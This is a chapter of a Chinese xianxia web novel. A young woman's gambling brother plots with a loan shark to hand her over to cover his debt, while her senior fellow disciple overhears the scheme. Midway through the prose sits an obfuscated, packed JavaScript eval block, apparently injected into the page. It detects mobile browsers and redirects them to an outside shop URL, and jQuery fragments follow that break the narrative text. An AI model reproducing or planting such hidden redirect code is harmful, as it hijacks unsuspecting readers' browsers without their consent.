32. 密谋

作品:《每晚都和宗门天才厮混

    如果现在有人问林游青,喜不喜欢吃糖人啊?


    林游青的答案一定是不喜欢。


    那晚之后,檀沉黛每日来找她都会带着一串糖人。


    一开始,林游青还对檀沉黛这种言出必行的行为动容,看见檀沉黛像变法术一样从身后拿出一串糖人,她的笑容灿烂地仿佛平白得了米的耗子。


    只是随着日子一天天过去,林游青脸上的笑容也一天天地减淡。


    吃了七天。


    林游青瞥见身旁的檀沉黛又准备送她糖人时,她哪里有什么笑容,立刻故作严肃地观摩着最寻常不过的山峦苍穹,随意几笔划过画纸。


    在绘画,不便交谈,更不便吃什么糖人。她的肢体语言如是说道。


    檀沉黛看了林游青好一会儿,品出这个意思后,他却不恼,只是垂眸瞧着糖人上晶莹的光泽。


    林游青以为檀沉黛这是放弃了喂她吃糖的打算,忽而回过味,觉得这样对他不好,清咳两声,打算用委婉的言辞向他表达出自己的诉求。


    炭笔才卡在画本上的凹陷,恼人的风却忽而将它掀起。


    林游青大惊失色地双手去追,当她稳稳接住后,已经和青年面对面。


    唇边无笑,可林游青就是觉得檀沉黛在笑。


    她将画本抱在怀中,不甚高兴。


    檀沉黛将糖人递给她,“尝尝。”


    尝?


    不用尝,林游青已经完完全全记住了它的口感,咀嚼时的轻脆响声,在舌尖融化时的腻人甜味,甚至对能多久吃完都有了把握。


    林游青心中倒数三二一,开口:“檀师兄,我想以后……”


    檀沉黛将糖人往她嘴里一塞,林游青刚一皱眉,待味蕾品出全新的味道后,她眉头舒展,又恢复了最开始的惊喜模样。


    “花香味儿的。”口感也更加冰冰凉凉,最神奇的是,每吃两口花香也随之变化。


    “嗯。”檀沉黛不动声色地将女子的笑意揽入眼中,“观你近日神色,许是吃腻了,便换了种口味。”


    喜欢便好。


    空气中只有林游青咔哒咔哒嚼着糖人的声响。


    林游青嚼得不好意思,身体一动,想离檀沉黛稍微远点儿,画本不小心掉下树端。


    还好她眼疾手快,脚尖一踢,顺势前倾身体一捞。


    然而在远处的绿意植被的一缕衣角晃过,被林游青已经变得灵敏的视力瞬间捕捉到,她一愣神。


    谁在窥视她?


    檀沉黛随意一瞥,“西北方,刺花瀑布中。”


    供弟子们观赏的开得茂盛到如同瀑布般奔腾的刺花下,一道视线在对上林游青遥遥看来的目光后,连忙后退两步,随之而来的高境界者的灵视碾压让她当即离开此处。


    小石子道上,三两弟子一处,正谈天说地间,头顶倏忽闪过一道黑影。


    那黑影落在小石子道下的斜坡,很是狼狈地摔了一跤,顺着斜坡滚进了路边草丛,洁白的衣衫沾满碎屑。


    “喂,这位同门,需不需要帮助哇?”


    三位弟子异口同声地问道,手臂也默契十足地在空中挥舞,连嘴角扬起的弧度都一致。


    薛凝面无表情地站起身,理理衣袖,双手端庄地交叠在腹间,温婉眉眼带着如晨雾的冷然,她礼貌地一笑,笑容拒人千里之外,甚是优雅地回道:“多谢关怀,我无事。”


    三名弟子盯着薛凝头上的枯枝落叶看了好一会儿,才冲她挥挥手后,同手同脚整齐划一地离去。


    见他们远去,薛凝的神情有所松懈,手骨传来的痛感让她皱了眉,不自觉地倒吸一口气。


    她细腻的脸颊上也有了几处划伤。


    薛凝不甚在意地用袖子擦过,坐在路边缓过神。


    薛凝窥视林游青有一段时间了,只从那日捡到她的画后,她有意无意都会观察林游青。


    她也在去夜市贩卖自己的话本时,跑到卖画的摊铺前观察那位女子,越看越觉得二者相似。


    不止是林游青的画,还有二者举手投足间相似的下意识。


    薛凝有怀疑过林游青是不是在模仿那位女画家的画,可多次的窥视打量,让她观察到了更多的细节。


    譬如那位女画家在生意冷清时会支起画架画画,每次落笔她都习惯性地往回收,思考构图时也习惯用画笔戳着自己的面具下方。


    林游青在课上绘画也有这样的习惯。


    可以说是巧合,但巧合多到一定程度就是必然。


    薛凝有种直觉,二人就是同一个人。


    但是同一个人又如何?


    薛凝想起林游青的画,又想到自己的话本。


    「你的意思是,既要我画出他的孤傲,这孤傲中又要有一丝谦逊,还不能多,只要一丝丝?」


    「你的离谱要求我做不到。」


    「我和你话不投机,另请人与你合作吧。」


    不欢而散的合作伙伴、被称之为古怪的性格、接二连三的拒绝……薛凝叹了口气,头上枯叶因她动作掉下一片。


    她想,如果是林游青的话,应该能画出自己笔下的人物。


    同样,如果是林游青,或许……能和自己相处得来。


    之后,就试一试。


    脚步声起,那三个弟子同手同脚地走到她面前,递给她一瓶药,又同手同脚地走了。


    *


    “应该是偶然吧。”林游青很快从疑神疑鬼的想法中跳出来,“许是见我坐在树上一时好奇多看了两眼。”


    檀沉黛却知那并非偶然。


    多次见面,他早感受到了这道窥视感,动机不明,檀沉黛想等那人暴露出自己的目的再动手解决。


    他记得那个人是坐在林游青旁边的女子。


    “师兄,你可藏好了,我多被人看几眼不要紧。”


    檀沉黛的思绪被林游青的话拉了回来,他欲说些什么,但随即脸色一冷。


    窥视者不止一个。


    掺杂着恶意的、污浊的打量,近在咫尺的距离,让檀沉黛本能地不喜。


    他抓住林游青的手腕,一拉,女子与他隐入同一道阴影,身上的隐蔽术也蔓延到女子身上。


    檀沉黛合上眼,灵视在捕捉到来自另一方向的视线时,压迫感随之蔓延。


    是谁?


    逃窜的二人是谁?


    陌生的男人,和林游青的……兄长?


    檀沉黛睁眼。


    “怎么了师兄?”


    檀沉黛不知为何就想起那日和兄长争执的林游青的模样,那日被他攥在掌心的手在抖,连同肩膀也簌簌抖动。


    话在唇间过个来回,檀沉黛说:“无事。”


    他松了手,既然她帮过他,他也该替她做些事情。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323934|199115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一片树叶将要落在林游青的发间,檀沉黛指尖一动,那树叶被风推开。


    树叶落地,风却未平息。


    *


    林绘白没能按时还上灵石,还因檀沉黛的法术忘记了前因后果,是被赌坊的人抓住关起来被打个半死后,才想起一切。


    这些找林绘白要灵石的虽是赌坊的人,但大多也是蟾清宫的弟子,在赌坊任职,靠在宗门内放贷混得风生水起。


    “这都拖欠了十多天的灵石了,你知道我们这里的规矩,选一个吧,是剁手还是跺脚?”


    狭窄污浊的地牢里,一把被擦得锃亮的大刀扔在鼻青脸肿的男子面前。


    本奄奄一息的男子再感受到刀砸在地面时的振动,如同回光返照般地跪起身拼命地磕头,“刘哥,再给我几天时间吧,我、我去找我妹妹。”


    “你妹妹?你妹妹能还上?”


    一旁的小弟见缝插针地补充道:“刘哥,他妹妹都替他担了十万灵石的债,穷得就差没喝西北风了。”


    那个叫刘哥的男子眉倒竖,“还不上说什么说?”


    林绘白却一改先前的畏畏缩缩,抬起脑袋,眼露精光,是穷途末路的赌徒惯有的眼神。


    “刘哥,我妹妹漂亮啊……”


    这话一出,连心狠手辣的刘哥都有些自愧不如。


    “刘哥,我妹妹很好看,你喜欢,或是你卖掉都不亏。”那张和林游青有五分相似的脸满是卑微的讨好,他像条狗一样对着那刘哥摇尾乞怜。


    “我拿她抵债,成吗?”


    刘哥看着癫狂的林绘白,忽的大笑起来,“她不是你的妹妹吗?”


    “妹妹?妹妹没有刘哥重要,刘哥才是我的亲哥哥。”


    其他的几名小弟见状都不由得目露鄙夷。


    “行,冲你这句话,我收下了。”刘哥用脚拍拍林绘白的脸,“哪天带我先瞧瞧,不好看不行啊。”


    于是林绘白一直找着机会,带那刘哥瞧林游青的模样。


    担心林游青发现他的图谋,林绘白只敢带着刘哥远远地瞧。


    看了几次,刘哥勉为其难地接受,打算只给林绘白减一部分的灵石。


    二人躲在阴凉无人处,商讨如何绑走林游青,刘哥也兴致不高。


    不是很漂亮,至于这么大费周章吗?干脆……


    刘哥一个抬眼,就瞧见在不远处的树上的林游青。


    先前只是远远观望,只能看个大概,知道身形不差。


    这么近距离一看,模样居然也是可人。


    女子衣裙蹁跹,身量纤瘦,眉眼盈盈虽不是什么明艳的大美女,但身上一股出类拔萃的说不清道不明的气质看得刘哥心痒痒。


    女子咬着糖人,不知笑着看向谁。


    刘哥更兴奋了。


    他就喜欢吃强扭的有主的瓜。


    林绘白一看刘哥这样子,知道十有八九稳了。


    刘哥深陷怀抱美人的白日春梦中,林绘白也沉溺在还清灵石的念头中,即使二人被突如其来的压迫驱赶后,也没有长什么记性。


    刘哥对林绘白说:“你妹妹,我一定要搞到手,放心,到时候你欠的灵石就一笔勾销。”


    拂过他们的一缕风带走了他们的密谋,飘到檀沉黛耳中。


    檀沉黛凝视着林游青认真绘画的侧脸,心中盘算着如何替她了却这等恶事。